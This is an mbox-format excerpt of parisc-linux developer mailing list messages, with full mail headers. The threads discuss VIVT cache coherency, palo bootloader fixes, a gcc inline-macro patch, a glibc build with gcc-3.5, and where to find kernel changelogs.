	by free.linux.hp.com (Postfix) with ESMTP id DB2A17D425
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Nov 2007 11:51:10 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 888F24F8089;
	Thu, 29 Nov 2007 11:51:12 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12915-10; Thu, 29 Nov 2007 11:50:57 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2544C338201; Thu, 29 Nov 2007 11:50:57 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <JS7JF3$B26560F4AD894A9D4B4501FF960EB990@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: 0.66
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: a4MgABVYa2A6a7vDOHQyz80yOWhhagdT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24835

On Wed, Nov 28, 2007 at 09:25:51AM +0100, Joel Soete wrote:
> > You need to read about "VIVT" caches (Virtual Indexed, Virtual Tagged).
> > The "Virtual Index" bits have to be provided by any cache coherent traffic
> > in order to be cache coherent. That's how the caches know _where_ in the
> > cache to find potential hits for a given cacheline.
> >
> For sure I need more reading but imho this paper is already clear on subject:
> my understanding (in short terms) is that cpu cache entry should be the same
> virtual address as DMA cache else it would need additional stuff to check
> physical address, right?

There is no "DMA Cache". The CPU owns the data cache and it needs enough
info to verify if particular DMA transactions affect entries in the
CPU cache (or not). "VIVT" summarizes the type of cache and thus info
the CPU needs for DMA/cache coherency checking.

cheers,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@ldl.fc.hp.com (Paul Bame)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo_1.5 available
Date: Tue, 18 May 2004 12:29:56 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20040518182956.GA15743@ldl.fc.hp.com>
References: <20040514223526.GA8018@ldl.fc.hp.com> <40A6A4C9.5090201@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624451 25429 80.91.229.3 (22 Nov 2014 02:47:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:31 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17299 invoked by uid 65534); 18 May 2004 18:30:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx052) with SMTP; 18 May 2004 20:30:26 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id ADB183BDE6; Tue, 18 May 2004 12:29:55 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C4D933BDE2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 May 2004 12:29:52 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 5A9CD494673; Tue, 18 May 2004 12:29:52 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by palinux.hppa (Postfix) with ESMTP id DDE9F494671
	for <parisc-linux@parisc-linux.org>;
	Tue, 18 May 2004 12:29:51 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 7CD22367D7; Tue, 18 May 2004 14:29:51 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id E701C41F12B; Tue, 18 May 2004 12:29:50 -0600 (MDT)
Original-Received: from fc.hp.com (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 7150F1340C2; Tue, 18 May 2004 12:29:50 -0600 (MDT)
Original-Received: by fc.hp.com (Postfix, from userid 16602)
	id F142D73797; Tue, 18 May 2004 12:29:56 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <40A6A4C9.5090201@tiscali.be>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24836

On Sat, May 15, 2004 at 11:16:25PM +0000, Joel Soete wrote:
> Thanks but I would just remember that the original idea was of Bjoern A. 
> Zeeb :)

palo 1.6 will have a more accurate comment in the changelot

> workaround) but still lock when with my large finger I typo and:
> Command line for kernel: 'root=/dev/md2 HOME=/ console=ttyS0 TERM=vt102 
> palo_kernel=3/vmlinux-2.66-rc3'
> Selected kernel: /vmlinux-2.66-rc3-pa3 from partition 3
> ERROR: open /vmlinux-2.66-rc3-pa3 from partition 3 failed

Thanks for spotting those cases I missed.  They'll be caught in 1.6

	-P
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Possible fix? [was: RE: [parisc-linux] linux and gcc 3.x question?]
Date: Mon, 7 Jun 2004 19:39:03 +0200
Lines: 116
Approved: news@gmane.org
Message-ID: <40BD9F0500003688@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624451 25433 80.91.229.3 (22 Nov 2014 02:47:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:31 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11841 invoked by uid 65534); 7 Jun 2004 17:39:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 07 Jun 2004 19:39:37 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 650D73BE30; Mon,  7 Jun 2004 11:39:09 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 800803BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  7 Jun 2004 11:39:06 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id D9A344945BD; Mon,  7 Jun 2004 11:39:05 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP id 2E9AD4942B3
	for <parisc-linux@parisc-linux.org>;
	Mon,  7 Jun 2004 11:39:05 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 7 Jun 2004 19:39:03 +0200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24837

Hello all,

May be a better patch:
--- compiler-gcc3.h.orig	2004-06-03 17:01:16.000000000 +0200
+++ compiler-gcc3.h	2004-06-07 18:04:08.144851584 +0200
@@ -4,9 +4,9 @@
 #include <linux/compiler-gcc.h>

 #if __GNUC_MINOR__ >=3D 1  && __GNUC_MINOR__ < 4
-# define inline		__inline__ __attribute__((always_inline))
+# define inline		__inline__
+# define __inline	__inline__
 # define __inline__	__inline__ __attribute__((always_inline))
-# define __inline	__inline__ __attribute__((always_inline))
 #endif

 #if __GNUC_MINOR__ > 0
=3D=3D=3D=3D=3D=3D=3D=3D><=3D=3D=3D=3D=3D=3D=3D=3D

Any opinion?

Thanks,
    Joel

> -- Original Message --
> Date: Thu, 3 Jun 2004 17:17:01 +0200
> From: "Joel Soete" <soete.joel@tiscali.be>
> To: parisc-linux@parisc-linux.org
> Cc:
> Subject: [parisc-linux] linux and gcc 3.x question?
>
>
> Hello all,
>
> I just noticed that when I pre-compile some ncr53c8xx.c with gcc-3.3.4
on
> my p-l box as follow:
> "gcc -Wp,-MD,drivers/scsi/.zalon53c720.o.d -nostdinc -iwithprefix inclu=
de
> -D__KERNEL__ -Iinclude  -Wall -Wstrict-prototypes -Wno-trigraphs -fno-s=
trict-aliasing
> -fno-common -pipe -mno-space-regs -mfast-indirect-calls -mdisable-fpreg=
s
> -ffunction-sections -O2
> -DCONFIG_NCR53C8XX_PREFETCH -DSCSI_NCR_BIG_ENDIAN -DCONFIG_SCSI_NCR53C8=
XX_NO_WORD_TRANSFERS
>   -DKBUILD_BASENAME=3Dncr53c8xx -DKBUILD_MODNAME=3Dzalon7xx -E -o drive=
rs/scsi/ncr53c8xx.o
> drivers/scsi/ncr53c8xx.c"
>
> I got:
> [...]
> static __inline__ __attribute__((always_inline)) __attribute__((always_=
inline))
> int __attribute__((deprecated)) check_region(unsigned long s, unsigned
long
> n)
> [...]
>
> (2 time __attribute__((always_inline))?)
> It comes from:
>
> include/linux/compiler-gcc3.h
> [...]
>
> #if __GNUC_MINOR__ >=3D 1  && __GNUC_MINOR__ < 4
> # define inline         __inline__ __attribute__((always_inline))
> # define __inline__     __inline__ __attribute__((always_inline))
> # define __inline       __inline__ __attribute__((always_inline))
> #endif
> [...]
>
> because when I comment the second "define", I got better:
> [...]
> static __inline__ __attribute__((always_inline)) int __attribute__((dep=
recated))
> check_region(unsigned long s, unsigned long n)
> [...]
>
> I very doubt that's the right thing to do so if somebody as any idea?
>
> TIA,
>     Joel
>
>
> -----------------------------------------------------------------------=
-----------------
> Tiscali ADSL, 27,50 ?/mois...pendant 6 mois.
> La meilleure offre du march=E9 !
> http://reg.tiscali.be/default.asp?lg=3Dfr
>
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------=
---------------
Tiscali ADSL, 27,50 =80/mois...pendant 6 mois. 
La meilleure offre du march=E9 !
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc2.3.3 & gcc-3.5 (aka debian snapshot) new pb
Date: Sun, 13 Jun 2004 09:54:54 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <40CC246E.50700@tiscali.be>
References: <40BD9F0500004FF7@ocpmta1.freegates.net>
	<40BD9F0500004FFB@ocpmta1.freegates.net>
	<20040609190711.GI10321@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624451 25438 80.91.229.3 (22 Nov 2014 02:47:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:31 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21251 invoked by uid 65534); 13 Jun 2004 09:53:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx052) with SMTP; 13 Jun 2004 11:53:47 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 19DA53BE0B; Sun, 13 Jun 2004 03:53:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03900-03; Sun, 13 Jun 2004 03:53:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 92CA13BE01; Sun, 13 Jun 2004 03:52:57 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72CBB3BDFE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 03:52:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 00694-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 03:52:53 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4913B3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 03:52:53 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 4915C494677; Sun, 13 Jun 2004 03:52:52 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by palinux.hppa (Postfix) with ESMTP id 98083494555
	for <parisc-linux@parisc-linux.org>;
	Sun, 13 Jun 2004 03:52:51 -0600 (MDT)
Original-Received: from [83.134.223.109] (helo=tiscali.be)
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BZRbs-0005Bh-Jd; Sun, 13 Jun 2004 11:49:04 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040528 Debian/1.6-7
X-Accept-Language: en
In-Reply-To: <20040609190711.GI10321@baldric.uwo.ca>
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24838



Carlos O'Donell wrote:
> On Wed, Jun 09, 2004 at 07:24:13PM +0200, Joel Soete wrote:
> 
>>>Hi all,
>>>
>>>I see that now debian gcc-snapshot is 3.5, I tried to rebuild glibc-2.3.3
>>>+ Carlos patches (June dated :) with this new compiler but I got a new
> 
> 
> Joel,
> 
> Are you just trying to ping to see if this thing builds with gcc-3.5?
> 
> c.
> 
It could be a point of view ;)

For my part it's just to continue investigation started some time ago.
Does it mean that it's useless for the moment?

Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jean-marc Harang <jean-marc.harang@laposte.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] couldn't find PA kernel changelogs
Date: Sun, 13 Jun 2004 12:17:34 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20040613121734.53a94190.jean-marc.harang@laposte.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624452 25439 80.91.229.3 (22 Nov 2014 02:47:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 906 invoked by uid 65534); 13 Jun 2004 10:26:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 13 Jun 2004 12:26:52 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 79B0A3BE01; Sun, 13 Jun 2004 04:26:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03964-06; Sun, 13 Jun 2004 04:26:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D8ABE3BE03; Sun, 13 Jun 2004 04:26:28 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EDAA23BDFF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 04:26:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03964-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 04:26:25 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C74FE3BDFE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 04:26:24 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 1FCC7494677; Sun, 13 Jun 2004 04:26:24 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from montperdu.pyrene.net (jmharang.net1.nerim.net [62.212.119.86])
	by palinux.hppa (Postfix) with ESMTP id 66276494555
	for <parisc-linux@parisc-linux.org>;
	Sun, 13 Jun 2004 04:26:23 -0600 (MDT)
Original-Received: from montperdu.pyrene.net (localhost [127.0.0.1])
	by montperdu.pyrene.net (Postfix) with SMTP id 82FCA3B23
	for <parisc-linux@parisc-linux.org>;
	Sun, 13 Jun 2004 12:21:31 +0200 (CEST)
X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24839

Hello,	

I have a little question :

where are the changelogs files for PA kernels ?

I couldn't find them at http://cvs.parisc-linux.org/ :(

thanks,

jean-marc






_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] couldn't find PA kernel changelogs
Date: Sun, 13 Jun 2004 11:28:21 +0000
Lines: 35
Approved: news@gmane.org
Message-ID: <40CC3A55.5060309@tiscali.be>
References: <20040613121734.53a94190.jean-marc.harang@laposte.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624452 25444 80.91.229.3 (22 Nov 2014 02:47:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:32 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jean-marc Harang <jean-marc.harang@laposte.net>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8130 invoked by uid 65534); 13 Jun 2004 11:26:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx010) with SMTP; 13 Jun 2004 13:26:49 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 685F73BE23; Sun, 13 Jun 2004 05:26:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04344-08; Sun, 13 Jun 2004 05:26:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 406253BE0B; Sun, 13 Jun 2004 05:26:25 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CED183BE01
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 05:26:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04344-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 05:26:22 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D67333BDFF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 05:26:21 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 3EFA3494677; Sun, 13 Jun 2004 05:26:21 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by palinux.hppa (Postfix) with ESMTP id 97072494555
	for <parisc-linux@parisc-linux.org>;
	Sun, 13 Jun 2004 05:26:20 -0600 (MDT)
Original-Received: from [83.134.223.109] (helo=tiscali.be)
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BZT7x-0000iq-5b; Sun, 13 Jun 2004 13:26:17 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040528 Debian/1.6-7
X-Accept-Language: en
In-Reply-To: <20040613121734.53a94190.jean-marc.harang@laposte.net>
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
